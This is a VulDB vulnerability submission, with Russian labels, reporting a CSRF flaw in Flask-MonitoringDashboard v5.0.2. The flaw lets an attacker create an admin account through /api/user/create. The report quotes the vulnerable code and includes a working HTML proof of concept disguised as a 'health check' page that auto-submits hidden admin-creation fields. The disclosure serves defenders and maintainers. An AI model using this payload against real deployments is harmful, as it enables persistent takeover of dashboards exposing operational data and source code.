| Название | flask-dashboard Flask-MonitoringDashboard v5.0.2 CSRF |
|---|
| Описание | # CSRF Vulnerability in Admin User Creation (/api/user/create)
## Summary
A **Cross-Site Request Forgery (CSRF)** vulnerability exists in the dashboard user-creation endpoint `/api/user/create`. The lack of CSRF protection in both the application configuration and endpoint implementation allows an attacker to force an authenticated administrator to create a **new administrator account** with attacker-chosen credentials, resulting in a persistent takeover of the monitoring dashboard.
## Vulnerability Details
### Configuration-Level Issue
**File**: `flask_monitoringdashboard/core/auth.py`
```python
def admin_secure(func):
@wraps(func)
def wrapper(*args, **kwargs):
if session and session.get(config.link + '_logged_in'): # ❌ cookie-only authorization
if session.get(config.link + '_admin'):
return func(*args, **kwargs)
return redirect(url_for(config.blueprint_name + '.login'))
return wrapper
# ❌ No CSRF protection anywhere in the package (no Flask-WTF / CSRFProtect)
# ❌ Session cookie has no SameSite attribute enforced
```
### Endpoint-Level Code Analysis
**File**: `flask_monitoringdashboard/views/auth.py` (Lines 74-96)
```python
@blueprint.route('/api/user/create', methods=['POST'])
@admin_secure
def user_create():
"""Create a new user, and save in the database."""
username = request.form['username']
password = request.form['password']
password2 = request.form['password2']
is_admin = request.form['is_admin'] == 'true' # ⚠️ attacker can set is_admin=true
# ❌ No CSRF token validation
# ❌ No Origin/Referer verification
if password != password2:
return jsonify({'message': "Passwords don't match."}), BAD_REQUEST_STATUS
with session_scope() as session:
user = User(username=username, is_admin=is_admin)
user.set_password(password=password) # ⚠️ creates account with attacker password
session.add(user)
session.commit()
return 'OK'
```
**Security Issues**:
1. ❌ No CSRF token validation
2. ❌ No origin verification
3. ⚠️ Creates a new account — including an **admin** account (`is_admin=true`) — based only on the session cookie, with a password fully chosen by the attacker
## Proof of Concept (PoC)
```html
<!DOCTYPE html>
<html>
<head>
<title>Dashboard Health Check</title>
</head>
<body>
<h2>???? Verifying your dashboard...</h2>
<p>Please wait...</p>
<form id="csrf-form" action="http://127.0.0.1:5000/dashboard/api/user/create" method="POST">
<input type="hidden" name="username" value="attacker_admin">
<input type="hidden" name="password" value="Attacker123!">
<input type="hidden" name="password2" value="Attacker123!">
<input type="hidden" name="is_admin" value="true">
</form>
<script>
setTimeout(function() {
document.getElementById('csrf-form').submit();
}, 1000);
</script>
</body>
</html>
```
When a logged-in administrator views this page, their browser submits the request with
the dashboard session cookie, creating an attacker-controlled admin account. The attacker
then logs in directly at `/dashboard/login`.
**Verified result** (local deployment): a cross-site, tokenless `/api/user/create` request
was accepted and a new admin user appeared in the dashboard database.
## Impact
**Persistent dashboard takeover** - The attacker gains a permanent admin account on the
monitoring dashboard, which exposes sensitive operational data: request statistics,
exception stack traces, and even application source code via `/api/function_code`.
---
**CVSS Score**: 8.0 (High) — `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L`
**CWE**: CWE-352 (Cross-Site Request Forgery)
---
**Reported by**: flashzyc
**Date**: 2026-06-07
|
|---|
| Источник | ⚠️ https://github.com/flask-dashboard/Flask-MonitoringDashboard/issues/557 |
|---|
| Пользователь | flashzyc (UID 92850) |
|---|
| Представление | 07.06.2026 08:57 (1 месяц назад) |
|---|
| Модерация | 08.07.2026 09:38 (1 month later) |
|---|
| Статус | принято |
|---|
| Запись VulDB | 376785 [flask-dashboard Flask-MonitoringDashboard до 5.0.2 подделка межсайтовых запросов] |
|---|
| Баллы | 20 |
|---|